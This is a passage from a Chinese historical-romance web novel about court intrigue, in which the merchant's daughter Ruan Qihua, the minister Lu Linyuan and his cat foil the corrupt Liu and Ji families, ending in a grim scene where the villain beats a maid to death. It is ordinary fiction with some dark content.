仿佛丝毫感受不到现场的紧绷气氛,男人自顾自踱步至景仁帝的身前,微微移步,用高大的身躯严严实实挡住了景仁帝看向阮绮华的紧迫目光。
而后侧身,扬起唇角,对阮绮华微笑着温和说道。“说得不错。”
他的声音中带着奇异的安抚。同时,视线缓缓地扫过阮绮华绯红的面颊。
然后转向坐在龙椅上的景仁帝。
对方不知何时掀开了珠帘。
陆临渊面色不动,目光与他直直对上,不避不让。
大殿正中,眉目淡然的挺拔朝臣同面色不虞的帝王一站一坐。
众人沉默,殿内落针可闻。
掌管兵部
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的柳氏尚书一家早已面色惨白。
柳如霜思来想去,万万也没有今日一个小小的宫宴,能作出这样大的乱子。
除了早朝之外,多年不登大殿的前任摄政王,今日竟真真的踏足了。
好一会儿,阮绮华才听到景仁帝咬牙挤出一句,“好,很好。”
他面色有些扭曲地转向旁边跪着的司礼太监冯保,“还不快传朕谕旨,江南巡府之女阮氏绮华,书绘丹青,深得朕意,重重有赏。”
“听到了吗?赏!”
沉默的压抑在众人身上的大山轰然倒塌。
阮绮华已然被这一系列突发的变化震惊。
事情脱离了她的预计。
她望着面前身材颀长的男人,恍然出神。
最后还是冯保拉着她,小声催促“阮家姑娘,莫不是高兴傻了吗?陛下有赏,还不快谢主隆恩啊!”
景仁帝起身,并不在乎她的叩首谢恩。只深深看一眼那昂首淡然的臣子。
竟拂袖而去。
天子离席,虽然宫乐尚未终止,这场风波不断的宫宴却也显得索然无味起来。
待阮绮华平复下来,想要对替她解围的大理寺卿道谢。
却忽然发现方才挡在她身前的男子已经不知所踪。
无人注意的角落,一位面容姣好的女子紧紧捏着手中的绣帕,因为过于用力,绣帕上的并蒂莲花竟随动作拉扯变形。
嫉妒带来的怨毒眼神如有实质。
-
夜色深沉,雨幕连绵。
漆黑的雨夜中,户部尚书府上灯火通明。
书房内,柳春明同翰林院编修相对而坐,面色皆是不虞。
若是有心人细看,这位新晋的翰林院编修,似乎同宫墙深处某位妃子的面容颇有几分相似。
正是容妃的表亲,季赫楚。
此刻,季赫楚重重放下茶盏,“柳大人,今日之事,你作何解释?”
柳春明自是知晓这位皇亲贵胄的话外之意。
有先帝的前车之鉴,景仁帝对朝臣之间结党营私深恶痛绝。柳家以及容妃姐弟,暗度陈仓多年,早已是一条绳上的蚂蚱。
二者行事虽谨慎,可这么多年的利益往来,也如刀尖上行走,唯恐留下蛛丝马迹。景仁帝的羽翼日益丰满,若真要开启查处,他们恐怕是辗转难眠。
于是他们盯上了同陛下决裂的大理寺卿,陆大人。
毕竟,圣上虽有心,若是陆大人能够为他们所用,替他们遮掩,败露的可能性,便大大降低。
由此,今夜的宫宴,本该是他家次女同陆临渊的赐婚宴,也是他们将陆临渊拉入他们阵营的重要宴会。
可谁知,与陛下关系紧张,本不愿轻易踏入宫闱的陆大人,今夜突然杀到……
“今夜陆临渊的出现,虽是意外了些,但秋末夜宴,以他的身份,来一遭,也终归是合乎情理的。”
“那位突然冒出来的阮家女又是作何解释?”
季赫楚责问不断,
本该是柳如霜大展身手的宴会被人截胡,一个名不见经传的商贾之女提起了清理朝臣门户,反贪反腐的大事。
半晌,柳春明放下茶盏,“左不过是一个商户之女。只是因为前任江南巡府突然告病还乡,一时间朝中无人,运气好提拔阮氏进了京。”
“权势皆无,根基尚浅。空有美色和财富……”柳春明递过去暗示性的一眼。
翰林院风光无限的新晋红人季大人会意。眼中划过暗色,这老狐狸想的,与自己不谋而合。
镶金的花瓶。采取些手段,骗到家中便是。
长夜漫漫,尚书家的后院,不止一处灯火难眠。
5. 狸奴
阮绮华自小有主见,此番一鸣惊人的举动,不是第一次了。
阮父赴任海宁县的县令,助百姓抗争洪涝那年,偌大的宁州府宅中只余下阮母和她两人。
世道乱,流民多。她那时年方十四,正是姿色初露的年纪。家中无人,阮父千叮咛万嘱咐阮母看紧了她,勿要让人拐了去。
可奈何阮母性子心软直率,有人衣着褴褛,面含热泪,求助上门。她见对方孤儿寡母,在青石板面上磕头求助,一时动情,还是信了对方的胡话。
不顾荣伯的阻拦,硬要将人安置在后院。
果不其然,当夜那妇人便摸进了阮绮华的房间,欲将其迷晕带走。
好在被起夜的春桃望见,急急唤人来,才免了意外。
此事一出,百里之外的阮父气了个倒仰,快马加鞭派人送信回家,怒斥家仆看护不力,扬言要将那妇人上报官府。
家中掌事人在外为别地百姓谋福祉,自家妻儿却险遭欺凌,天下哪有此番的道理?
阮母也后怕到脊背发凉、夜不能寐。可她面上不敢表现出来,唯恐宝贝女儿的心中留下阴影,只敢在无人的夜晚,暗自垂泪。
但整个家的小心翼翼似乎都与阮绮华本人无关。
面对自己差点被迷晕拐走的事情,她仿佛完全不放在心上,甚至还反过来安慰受惊的爹娘。
事后一年,阮父终于调回宁州城,家中长辈都以为她早便忘却了当年的插曲时。
她在宁州新任知府庆祝江南富商阮父归来的接风宴上,当着宁州大大小小数十位县令、州官的面。
状似不经意地拿出了一枚信封。
那是盐城知县伙同百姓进行坑蒙拐骗,甚至曾将贩卖孩童的心眼打到她身上的罪证。
象征着盐城县令的令牌随信件掉落出来时,现场众人面面相觑。
物证均在,当事县令,已然面色青白。
新官上任三把火,由此一事,宁州知府李清焕震怒,第一把火,便烧在了盐城县。
此后经年,宁州府县关于妇孺幼儿的保护,更上一层楼。不少人都暗暗记下了阮氏绸缎,不,也就是现今江南巡府阮氏,的掌上明珠,阮绮华的名字。
恰如今日。
马车上的一家三口面面相觑。
阮绮华坐在父母对面。阮父的双眼从上车开始便紧盯着她,好几次张口想要问询,又碍于马车尚未驶出宫中,只能咽下,欲言又止。
阮母的美目已然泛红,保养得当的脸上满是担忧。
她自然看出父母有满腹的话憋在心中。
安抚性地挽住阮母的手臂,朝爹娘撒娇。“我没事,阿爹阿娘,我们回府之后,再好好商议。”
阮父听言,忍不住又是一声冷哼,直把胡子吹得翘起。
他真是不知自家的宝贝女儿何时被惯得如此胆大妄为了。
车轮缓缓前行,好不容易进了巷口。
阮父终于憋不住开了口,哄着担忧一晚上,乏累不堪的阮母回房歇息。然后边下马车边对阮绮华指挥道。“你跟我来一趟书房。”
走的时候还不忘反头又睨她一眼。
今夜的变故,过于强烈。
似窗外劈啪作响的骤雨与惊雷,让人猝不及防。
书房烛火灼灼。阮父双手交握于桌,语重心长地开口。
“彻查贪腐,不是这样容易的事情。”
“皇帝同大理寺拉扯许久。不仅大理寺,如今朝中过半的老臣都不赞成大张旗鼓地开始彻查贪腐。”
“景仁帝少年心性,大手一挥,便想要动手。可京中水深,多少世家权贵在背地里使绊子。”
因着这事,阮春明上朝三日,便撞见臣子之间明嘲暗讽,不下五次。
兹事体大,若是高位的官员手里都不干净,那么谁会来声援一腔孤勇的少年皇帝呢?
更何况,这几日接触下来。皇帝对阮氏的态度很是暧昧。
一方面,对接待他们一家,用的最高礼遇。另一方面,正面相对时,语言中又带着些阴阳怪气。如同今夜的诘问……
话说回来,景仁帝今夜的模样,为何莫名有点像……
他狐疑地看了对面的阮绮华一眼。
若不是阮富明十分清楚他阮家只有阮绮华一个宝贝女儿,确实没有什么流落在外,勾引宫妃的儿郎。
他真要以为对方是在为心仪的人拈酸吃醋。
阮绮华不知她爹心中的百转千回,刚要开口,被莫名其妙的一个眼刀盯得心生疑惑。
但还是奔着正题开口,“爹爹,女儿知晓。可今夜的情况,实属被逼无奈。”
说着,阮绮华也难免面露几分纠结。“您同阿娘总跟我说,低头做人,抬头做事。可在宁州的近两年,您谨小慎微,虽尽力相瞒,但家中的生意已有下滑,有人甚至寄信至家中,威胁您同流合污,否则便要伤害阿娘和我。”
“原以为天子脚下,治下更严。我们一家低头做官,不争不抢便是。可若是要再像今夜一样,被顶到风口浪尖上,又该如何应对。柳氏的挑衅是应,还是不应?”
“他们欺我阮家底子浅,根基薄。今日想毁我名声,明日想夺我家产,那时,我们如何是好?”
阮绮华今夜的表现,既应了柳二的挑衅,也没让自己落入被动的境地。可说穿了,她走的这一步,是实打实的险棋。
不怪阮父责问她鲁莽。
若不是陆大人及时出现,今日的局面,恐难破解。
父女二人对视半晌,相顾无言。
半响,阮父轻轻叹息,“华儿长大了,爹爹信你心中有数。”
“只保护好自己便是。我和你娘,别无他求。”
书房的烛光照耀下,阮绮华见到了爹爹鬓边的斑白。
一切都是身不由己。
-
天色大好。
花开烂漫的院落,阮绮华望着院墙外的蓝天,有些百无聊赖。
宫宴至今已三日。
她同阿爹在书房聊完,才刚刚回到院里。便听春桃说阿娘发了好大一通火气,连阿爹心爱的檀木砚台都摔了两座。
她心知阿娘只是长着一副江南女子的温婉模样,实则火气旺得很,在宁州时,书房的博古架几乎是一月一换,原因自然是被气头上的阿娘砸了。
如
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今连砚台都不放过,多半有人要遭殃。
果不其然,直接给了她个十日的紧闭。
让她少出去闯祸。
没法,宁州城闲不住的阮大小姐,只能缩在院里发霉。
“为何不能天降一只狸奴啊……”
这四方的院子困着阮绮华,她只能绕了绕手中的草环。
定睛一看,她脚边堆起高高一堆,顶上冒着尖。不止草环,还有给猫的小小的草编帽,竹鼠。
阮绮华本人更是不顾形象地掀起裙摆,盘坐在秋千上。
正当她感念日子无趣,遥遥望向院墙,第二十八次想念当年趴在她院墙上却没能成功掳来上京的小狸花时。
一位让人意向不到的人出现了。
陆,陆大人?!
大马金刀,跨坐在高高的院墙上,遥遥冲着她笑的,竟是陆临渊?!
今日的陆临渊跟上次见似乎有不小的区别。墙上人一头墨发不再用玉冠拢住,只一根发带高高束起。身着白色箭袖短衫,额头上还冒着薄薄的汗珠。
不难知晓,他应当是刚刚晨练完。
担心她动静太大引来他人注意,陆临渊伸出一根食指,示意她稍安勿躁。
然后指了指另一只手上提着的小兽。
暗黄的花纹与褐色相间,不过巴掌大的小兽,被人提住后颈。
四肢乱飞,尾巴翘起,嘴里在还咪嗷咪嗷骂骂咧咧个不停。
竟然正是她方才心心念念的狸奴。甚至花色都与她心中所念一般无二。
这,这这。
她一时间不知道这是不是幻觉。
光风霁月的陆大人爬她的墙头。
给她提了一只心心念念的狸奴。
甚至花色都与她脑中所想无二。
难不成陆大人是有读心术?
她不敢想,这三件是出现在权倾朝野的陆少卿和她这样地位飘摇的普通女子之间。哪一件更加令人难以置信。
墙头上的陆大人神色自若,示意她伸手过去。
“陆某家养的狸奴性情有些顽皮,方才我在院中晨练,一不留神它便爬上了姑娘墙头,担心惊扰姑娘雅致,陆某只能将它捉了来。”
阮绮华愣愣地接过那温热的小家伙。所以这是……
“恕陆某冒犯。平日大理寺公务繁忙,它性情活泼,难免收到禁锢。我方才不小心听见姑娘的愿望,若姑娘不嫌,可否将小小狸奴接至院中,替陆某照看一二。”
阮绮华心下一喜,抱住软软的小猫,眼眸瞬间点亮,“陆大人此话当真?”
“陆某不敢欺骗姑娘。”陆临渊语带笑意,“只是狸奴尚小,难免想念熟悉的环境,若姑娘得了空,也可偶尔带它来大理寺或者陆某府上一聚。”
方才还闹腾的小猫到了少女的怀中似乎舒适了很多,当即仰着脑袋用圆滚滚的眼睛看着她。
阮绮华的心已经融化成了一滩温水,“陆大人言之有理,那便真真是谢过大人了!”
小猫不知道平日安静的主人嘴边的笑意是作何寓意,只仰着头在新主人暖香的怀中蹭蹭。
有风吹过,海棠花香散了满院。
6. 刺杀?
少女将狸奴抱在怀中,有一搭没一搭地抚摸脊背,这样能让她思绪宁静些。
房间的梨花茶案上,静静躺着一封书信。那是阿娘昨夜给她送来的。
洁白的信纸末尾,朱红的印章显目。那是京城柳家的落款。
阮绮华蹙着眉,这几日在院中紧闭,说是思过,事实上也在为阮氏的未来作想。
柳二那日分明被她下了面子,据说在家摔摔打打一整夜,眼睛都肿成了核桃。上早朝时,柳尚书就差将弹劾的折子弹阿爹脸上。
不止如此,她这几日虽关在院落中,却也听说了不少茶楼酒肆的风言风语。
内容不外乎是,江南来了位自负又不知好歹的官小姐。
那日柳如霜如何好心地让她在宫宴上展露家乡技艺,让她崭露头角。却被倒打一耙,将柳家小姐当做乐伶人不说,还惹得陛下和大理寺卿为她争风吃醋。
前半段是半真半假的,她的确存了报复的心思,后半段简直是无稽之谈。
眼下的情况,柳二的生日宴,帖子都送到府上了,怎好回避。
信上倒是一口一个绮华妹妹地唤着,但到了现场才知道她想作何好事。
涂着丹蔻的纤长玉指缓缓在柔软的皮毛上滑过。
“福宝,万不得已,只能借你一用了。”
转眼间,生辰宴悄然而至。
-
天光大好,高朋满座。
亭台高阁,曲水流觞。
一整面百年黄花梨铸的双面祥云屏风,小叶紫檀的茶具精美绝伦,还有屋后摆放的立式三彩花樽。
是外行人都能被扑面而来的奢华震惊的程度。
一席天青留仙广袖的少女跟随中年夫妇施施然进场,招呼着相熟的姐妹落座。
便是今日生辰宴的主角,柳如霜一家。
“感谢各位同僚、亲朋,来参加小女的生辰宴。”柳尚书举起酒樽,遥遥抬首。环顾四周。
柳如霜也跟在她爹身后,面带娇羞。
目光止不住地搜索着,直到花厅的某处,视线定住,眼底滑过暗色。
顺着目光看过去,那个角落坐着一位抱猫少女。
正是阮绮华,她正在漫不经心地用着点心。似乎丝毫未曾注意柳如霜的视线。
再抬首时,突然撞上了一双带笑的眼,“好妹妹,多谢今日赏光来我的生辰宴。”
“那日阮妹妹的一手丹青经验四座,姐姐好生羡慕。今日还请务必赏光同妹妹共饮一杯。”
说着,柳如霜的酒杯已经要碰到阮绮华的手。
“如霜姐姐谬赞了。”阮绮华勾起一个浅浅的笑,“只是今日实在是身子不爽利,酒便不喝了罢!”边说着,边不着痕迹地将杯口向腕内藏了藏。
“那刚好,府里还有今年陛下新赏赐的药酒。冬日将至,妹妹还是当心些身子,喝杯药酒暖暖身子。”
眼看着推拒不掉,阮绮华只能无奈应下。
柳如霜则顺势坐在了她身侧,伸手要逗弄她怀中的福宝。
尖细的指甲眼见就要戳到狸奴的脑壳,小猫头也不抬,飞起一尾巴扫过。
“呀——”柳如霜堪堪躲过,猫尾看似柔软,实则有力,福宝应当是收着力的,打到人身上也不算疼,只是惹出了小小响动。
阮绮华赶忙将猫猫护在怀中,低声斥道。“福宝,不可无礼!”
而后向柳如霜歉意地笑笑,“初次带它出来,小猫怕生了些,姐姐无事吧?”
女子摆摆手,眼中确实掩饰不住的厌恶。
柳二小姐同阮氏千金那日在宫宴的争斗无人不知,在场的各个都是人精。方才柳二朝她走来时,便引得不少人悄悄瞥向这边。
此时一声响动,更是引得周围有人偏头回望。不知是哪家小姐的眼尖,看清了福宝的模样。
然后人群中一阵骚动,紧接着是低低的讨论声。
阮绮华从杂乱的声音中,听见了她熟悉的名字,“阮家小姐怀里那只狸奴,是不是有些像大理寺陆大人那只?”
等待下人取酒的间隙,在座的二人均是听到了这话。
柳如霜状似不经意地接过话。试探性询问道。“是有些像的,不过陆大人养的那一只,听说是攻击性极强,受不得生人抱的。大抵是跟阮姑娘这只不太一样吧?”
阮绮华也不接话,只笑笑。这样明显的试探,是与不是,怕是柳如霜心中已经有几分猜想,包括她跟陆大人的关系。
江边迎接,宫宴救场,眼下怀中还抱着疑似陆大人的爱宠。
果不其然,阮绮华暧昧的态度已经让柳如霜悄悄握拳。因为太过用力,掩在广袖下的指关节悄悄泛青。
不过不论柳如霜如何作想,阮绮华这方,只默默垂头抚摸怀中的福宝。
她在心中对陆大人小声道谢。
陆大人这般好的人,既然将狸奴借与她,应当是不介意她扯这个虎皮的吧!
不多时,药酒便取了来。只不过送酒的人,似乎不像是柳府的下人。
阮绮华望着提着酒壶靠近的儒雅男子,疑惑地开口,“这位是……?”
柳如霜迫不及待开口,“对了,今日还有位青年才俊要同你介绍。这位是我的远房表哥,现任翰林编修,季赫楚。”
向她们步步走来的男子面容如玉,烟青色长衫与腰间佩环相得益彰,更是衬得公子气质出尘。
“阮姑娘你好。”男子行至桌边,放下酒壶,微笑让人如沐春风,“季某早便听闻姑娘才貌双全,今日得以见之,确实是……”
“小心!”
破空声伴随箭矢呼啸而来,根本来不及做反应。阮绮华只觉得一阵天旋地转,怀中的狸奴嗷地一爪蹬到了谁的手臂。
满座的宾客被这突然的袭击吓得满屋乱窜,妆容精致的小姐们花容失色,纷纷失声尖叫。
“啪——”
巨大的碎裂声发出,竟是那尊美轮美奂的三彩被打成了碎片。
一时间周围的惊呼声、呼痛声,还有福宝的叫唤声乱做一团。
她感到有人试图拦过她的手臂,手劲之大,让她好不容易才挣开来。然后一只水袖又蒙在了她的脸上,一股浓重的奇异香味传来。她被呛得止不住咳嗽。
“谁!”
一阵兵荒马乱,待到她终于稳住心神,艰难地望出去。只看见周围乱做了一团。
方才衣冠楚楚的季赫楚与柳如霜兄妹倒作一团,男人风度不再,脸上还印着可疑的血痕。
扭头一看,白色箭矢竟是贴着她的发丝插在了背后的立柱上。
她不知自己是如何坐稳的,竟还保持了几分仪态。稳稳当当在凳上坐着。不仅如此,福
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宝也端坐在正前的桌面上。颇为优雅地舔着前爪。
就好似一切喧闹同它无关,只深藏功与名。
怔愣之际,地上的季赫楚猛地起身,凑上来急切地问到,“阮姑娘,你可还安好?”
“我没事,只是季兄您的脸……”阮绮华顿了顿,分明是要尽量保持风度的脸,配上颊上的爪印,竟是有几分滑稽。
说到底还是福宝挠的人,阮绮华面上歉疚,“狸奴尚且年幼,方才许是受惊了。实在对不住,季兄还是尽快涂抹膏药。”
季赫楚脸上懊恼的神色一闪而过。
不愧是翰林院出身,再过尴尬,面子上总归是藏得住的。
很快调整好神色,低声询问道。“我区区小伤,不打紧的。阮家妹妹,可有头晕脑热?方才救人心切,不小心将茶水泼到了妹妹裙边,秋末寒凉,姑娘当心着凉。”
旁边的柳如霜赶忙接茬,“是呀妹妹,我府上有府医,可一同前往。”
说着便要伸手挟着阮绮华向内室走。
“不必了。”手还没碰到。阮绮华不着痕迹地避开,福宝又是一爪子拍出。
这下可是结结实实刮花了柳如霜的广袖留仙裙。袖面上原本栩栩如生的刺绣被勾得皱起。
阮家绸缎发家,阮绮华打小在名贵衣料中打滚,只消一眼她便看出,这条流光锦的裙子经这一难,怕是难以复原。
三番两次被狸奴打乱好事,柳如霜俨然已经怒极。当即就要伸手抢夺她怀中的猫儿。
世家贵女的礼节也顾不得了,边动手边大喝。“你这不知好歹的小畜生!”
“福宝!”阮绮华急忙侧身将福宝护在怀中,堪堪避开柳如霜的动作。然后低声呵斥怀中的小猫,双眼却盯着来势汹汹的柳家小姐。“平日不见如此无礼,今日到底是怎的了?”
面前二人的殷切早已让她察觉不对,心中早有准备,只是方才柳如霜的上手让她都陡然一惊。
福宝护主心切,当下她如何会真的对它生气。
更何况有了福宝的这一爪,阮绮华心下反而松快些。她顺势站起了身。将福宝揽在怀中。
“柳家姐姐,今日的情况,你也能见到。眼下贵府的当务之急怕是要尽早捉住暗袭的贼人,别是被人盯上了才好!”方才嚣张的福宝此时知道此时不是闹腾的时候,将头深深埋在她怀中。
为避免吓到怀中的福宝,她伸手将猫儿的耳朵捂住。定定对上面前的兄妹二人不甘的目光,语气沉沉,“今日回去,我阮氏定将对猫儿严格管教。损坏的衣裙或事务,晚些时候也将派人登门赔偿。便勿要再留了!”
话说到如此份上,今日的宴会算是彻底进行不下去了。
柳如霜眼眶红红,发丝凌乱,精致不再。唇脂蹭到了脸上,斑斓一片。面上是显而易见的不甘与悲愤,纤长的指甲已经陷入肉里。
满室狼藉,众宾客见状,纷纷告退。走时皆是劫后余生般的长吁短叹。
送走宾客时,柳尚书的脸色黑的如同锅底。
生辰宴的主人公嘴上强撑着几分礼节,对宾客说些关心客套的话,眉毛却深深拧起,像是活吞了一只苍蝇。
好好的一场生辰宴,险些搞成刺杀案。
待到众宾客散去,厅中只余下柳氏父女与季赫楚三人。几人相互地对视一眼,前后脚离开了花厅。
7. 旧疾
皇城西,大理寺左厅。
屋内的地龙沉默燃烧,给青石板铺着的地面增添了几分暖意。
然而黄花梨的屏风背后,太师椅上的年轻权臣仍是面色苍白,偶有止不住的低声咳嗽。
玉雕的香炉的青烟袅袅,缓缓上升。
面前单膝跪地正在汇报的少年顿了顿,忍不住想起身给他添些茶水。陆临渊只摆摆手,示意继续。
少年只能按部就班地先把正事汇报完。还是忍不住有些担忧地开口,“大人,您本就有寒疾。如今案牍劳累,又加那日更深露重,在江边顶着寒风等候多时,如今怕是又加重了。”
李一彦是打小跟在陆临渊身边的,说是心腹,毫不为过。
如今忍不住多嘴,换来陆临渊不轻不重的一个眼刀。还是觉得不能放任自家大人如此。
于是明知道陆临渊可能不会听,还是反复斟酌了一番,复又说道。“大人,上月宫里新进的太医,听说对治疗寒疾很是得心应手。而且……”开的方子同甘草可同时熬煮。
李一彦话音未落,就被陆临渊打断了。“好了,咳咳,我心里有数。”
您有数还把陛下给您的百年老姜熬了水送给阮姑娘喝。您有的哪门子数?我一双眼看得清清楚楚,那日在马车上您可是一口没喝。还是后来陛下软磨硬泡压着你喝了碗药。
李一彦忍不住暗自腹诽。
想开口再说点什么,话到了嘴边又咽了下去。他知道陆临渊有众多不容易。
早年间主子下宣州治水,落水之后虽然被及时救起,却落下了病根,这些年,一到冬日便容易受寒咳嗽。
再加之这些年朝廷里明争暗斗,大人护着陛下,看顾朝廷,连年累月的也没有好好歇息过。这病就这么一直不好不坏的吊着。
若是能根治也就罢了,偏偏这病如丝作茧,缠缠绵绵,干净不得。听闻无法根治,杀伐果断的陆大人索性开始消极治疗。
这才作弄成了这幅一临近冬日便开始咳嗽的模样。
李一彦只能无奈地替主子再斟杯热茶。
“阮府最近有何动向?”陆临渊润润嗓子,接着问道。
今日他太阳穴突突地跳,直觉不详。顾不得处理方才的汇报情况,忍不住急切地想知道阮绮华的消息。
李一彦反应极快,闻言毕恭毕敬地立在他身侧,刚准备汇报,忽然听见外头有人来报。
“大人,有位姑娘抱着,额,福宝来找您。”
什么福宝?
李一彦有些摸不着头脑,大理寺这种肃穆之地,若无案件,何人会来此地寻大人呢?
门外高大壮实的汉子也在挠头,他赵六子虽然是憨了点,但不至于连大人日常放在阁里的狸奴都识别不得。
这什么福宝不福宝的,不是他们家大人养的霸天吗?
名字还是景仁帝亲自取的呢。
他握着刀的手有些局促,面前站的姑娘模样过于出挑,他尚未娶妻,实在是不好意思直视。奈何这姑娘抱着霸天,一个劲追着他要见他家大人。
赵六子左顾右盼半天,只能盯着姑娘怀里抱着的霸天说话,规规矩矩把好话说尽。“我家大人不是谁想见就能见的,这可是因为你抱着霸天来。大人在同李副使议事,我可不保证姑娘你要等多久。”
话音刚落,便听到脚步声匆匆,有风划过,他惊讶的发现自己被大人挡在了身后。
啊?
“姑娘可还安好?”语速略快,有些不像平日的陆大人。
日落将近,天色渐晚。
阮绮华只见那道高大的身影在她面前匆匆站定,衣摆跟着他大步飘扬。她尚未来得及开口,对方便抢先询问她可否安好。
边说话,男人边定定看着她,漆黑的眸子里满是认真,视线有如实质。
“我无事。”阮绮华心中一暖,陆大人果真是为爱民如子的好官,来报官的话,是该找他的。
“大人,可否借一步说话?”她白日里未着披风,方才抱着狸奴在门口吹了会儿风,此时身上有些凉了。
面前的男人眉心微皱,脸上划过懊恼的神色,当即边说边领着她朝内走,“是陆某考虑不周,还请姑娘随我来。”
连廊不长,阮绮华只听见男人同她介绍了几句大理寺的基本构成,便进了内室。
屋内暖融的气息扑面而来。
她只觉得被冻僵的脸颊有些发烧,坐下片刻,甚至有些头晕脑胀。
赶忙将怀里束缚已久的福宝放下来。
小家伙甩甩尾巴跳上太师椅的扶手,歪着头端庄地站立,听她二人谈话。
香炉袅袅,阮绮华委婉地示意陆临渊屏退他人。
兹事体大,她决定开门见山,“我怀疑,柳尚书家中的钱财来路不正。”
陆临渊面上神色不动,只将茶盏递过来示意她接着说。
阮绮华顺手接过,往面前放着。事无巨细,将今日之事说了个干净,“……大人,恳请您相信,小女子绝非妄言。若您不信,可借此次查案的机会,到尚书府花厅侧后方那面黄花梨的屏风处探查。”
“屏风的右下角,有一块不足巴掌大的小小绣面,不甚明显,旁人难以发现。但那块绣面,是出自我江南阮氏十年前最顶尖的绣娘。”
她定定看向陆临渊,接着说道。“这块屏风,是我阮氏在前朝皇帝五十大寿上进贡的贺礼。”
“先帝驾崩后,这块屏风被收在国库数年,据我所知,国库的钥匙,一把在陛下手中,一把,便在户部尚书柳大人手上。”
顶级的白毫银针在青花瓷盏中沉浮,阮绮华匆忙开口,此时难免觉得有些口干舌燥。于是停下来打算喝口茶水,润润嗓子。
却在润喉的间隙瞟到陆临渊正在看她。“大人,您可是有何头绪?”她有些疑惑地开口。
对方却垂下了眸子,用茶盖撇了撇杯中的浮沫。“陆某愚钝,暂且未能想到。阮姑娘天资聪颖,觉察力过人,饶是放在大理寺也是出类拔萃的。”
“只是。”茶盏后的男人顿了顿,薄唇抿成一条直线。指腹缓缓摩挲几下杯柄,似乎有什么话在嘴里咽了又咽。
终于再次开口时,沉静的黑眸中似乎有火光跳动,“阮姑娘方才提了一句,‘箭矢迅疾,好在未曾伤人。’”
语气愈发认真,方才间歇的轻轻咳嗽声也停止了。整个内室中,仿佛只余下清清冷冷的声音,“那么阮姑娘衣衫上被拉扯的印记,是何人所致呢?”
天色愈发变暗,室内已经添上了烛光。
暖融的烛光映照在她的眼中,阮绮华分不清是烛光还是陆大人的眼光过分炽热,烫得她心中一跳。这才发现自己的袖摆不知何时也被扯破了,留下一个不甚明显的口子。
她面上有些微热,自己何曾经历过这样狼狈地出门找人。为避免引人注目,方才甚至没坐自家的马车,嘱咐马夫跟家人报备后,便步履匆匆悄悄从后门溜进的大理寺。
“多谢大人关怀,场面混乱,我隐约记得是曾被人拉扯了一下。还好并无大碍。”
不知为何,她心中直觉是离她最近的季赫楚扑过来拉了她一把,可是她心中并无把握,且事后看来,季赫楚姐弟二人的反应属实蹊跷。阮绮华思索再三,还是未将话说出口。
“天色已经不早,今日之事,事关朝廷命官。绮华相信,大人这般爱民如子的好官,定会叫事情水落石出。”
时候不早,今日之事必定已经传到了阿爹阿娘的耳朵里,她既然已经将心中揣测说尽,便是时候归家了。
陆临渊本想亲自相送,几番拉扯,还是被她拦下。虽然陆、阮两家府宅相邻,但陆氏马车难免招摇。
更何况……阮绮华想到陆临渊出来迎她时,面颊不正常的红润,以及刚刚谈话时无法抑制的轻声咳嗽
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她幼时体弱,曾被送去习医。只消一眼便能确认,这分明是体寒受凉的症状。她有些懊恼先前兵荒马乱,也忘了要给陆大人送只老姜的事情。
只能向身边的李一彦发问,“李大人,陆大人他,可是有何隐疾,上次江边一别已近半月,怎的还没好全吗?”
她记得前几日院中相见,陆大人精神还是很足的,怎的这几日一降温,今日又咳起来了。
阮绮华心里惦记着若是有隐疾,自己不行就给师父去封信。
李一彦则心下发苦,他总不能在大人心仪的姑娘面前搞背刺,说大人近日里老是咳嗽,不是因为咳嗽难治,而是因为降温又怕苦不爱吃药吧?
于是只能面上露出尴尬的神色,欲言又止地瞟她几眼,最后只含糊道。“这个属下说不太好,大人这确实算是陈年旧疾,更详细的可能得待日后您亲自询问大人了。”
-
夜幕落下,这厢阮绮华刚刚回府,尚书府的书房中又是烛火长明。
偌大的书桌面前,柳尚书面色铁青,眸光暗沉。只碍于面前人的身份,迟迟没有发作。
对侧,季赫楚面上还留着滑稽的爪痕,虽然已经换上了新的衣衫,仍然显得狼狈。他自觉面上无光,只能一改往日在柳尚书面前的高傲和自负,抢先开口,“今日之事,是晚辈过于激进。”
英雄救美不成,反倒将整场宴会折腾得乌烟瘴气。柳春明本想将上次宫宴丢了的面子找回,结果如今,他不由得咬牙承认,在众多官僚同袍面前生出如此事端,他尚书府今日算是颜面丢尽了。
若不是看在眼前人是荣贵妃的胞弟,他早便动怒了。
分不清场合闹出事端也便罢了,最终还失败,连个女人都搞不定,真是两个不成器的东西!
柳春明心中憋气,见到季赫楚此番态度却压下了怒火。到底是官场浸淫数十年的老油条,见到对方主动递台阶,他从善如流地便换了口气,
“季大人年轻有为,难免激进些。季柳二家关系密切,我自是不会将此等小事放在心上。”
“只不过……”
柳春明盯上季家手底下几家商铺许久,如今一方低位,一方高位,事情便有的谈。
二人心照不宣对视一眼,季赫楚心中一阵肉疼,暗自冷哼。只能耐着性子和柳春明又是好一番推拉客套,直到接近子时,才迈步告辞。
在他迈进府里的一瞬,之前挂着笑的脸瞬间阴沉下来,所谓的光风霁月消失不见,面容扭曲、大马金刀地往太师椅一坐。
随手扯了一名婢子来,粗鲁地抓着那婢子的头发,便按着人跪在地上朝他那地靠过去。
“贱妇,给老子伺候好了!”
那婢子美目圆瞪,面对丑陋的玩意儿瑟瑟发抖迟迟不肯靠近。
引来身上暴躁的男人重重一脚,砰地一声背脊砸在地上。“不过是个女人,叫你服侍本翰林还推三阻四?你好大的胆子!”
婢子被大力摔倒在地,男人那一脚踹中她的心窝,力气太大,整个前胸后背都火烧似的痛,见季赫楚急不可耐地怒吼,她颤抖着想要立马翻身起来赔罪。
可尖锐的痛意让她挣扎了半天,一时竟是跪都跪不稳,只能不停地摇头“奴婢...奴婢没有,奴婢没有啊老爷。”
“妄图攀龙附凤的婊子,你没有什么?没有恬不知耻地往大理寺卿身后躲?”怒火中烧的他又是重重一脚踩在婢子的手上:
“就是这只手绘的丹青吧?”
越是怒骂,季赫楚越是怒火中烧,他想到今日柳春明虚伪的作态,又想到这一切的始作俑者。竟是抽出墙上挂的软鞭,毫不留情地一鞭子抽到那婢子的背上。
“不知好歹的贱人!”
当夜,季府书房的鞭声持续不断,竟是临近早朝之时,才堪堪停住。天光将现,西南角抬出了一具被草席胡乱裹着的人形。
8. 求药
李三是季翰林府上新上任的守门奴才。外号瘦猴。
用他们村儿的土话来说,山上瘦猴子都好过他这副样子。
他家三姊妹,除他之外都是地里干活的好手,哥嫂废了好大劲儿才给他求来了这么一件替贵人守门的差事,上任的时候,他看着高大的府邸,一个劲儿左右张望,简直觉得自己进了仙境。
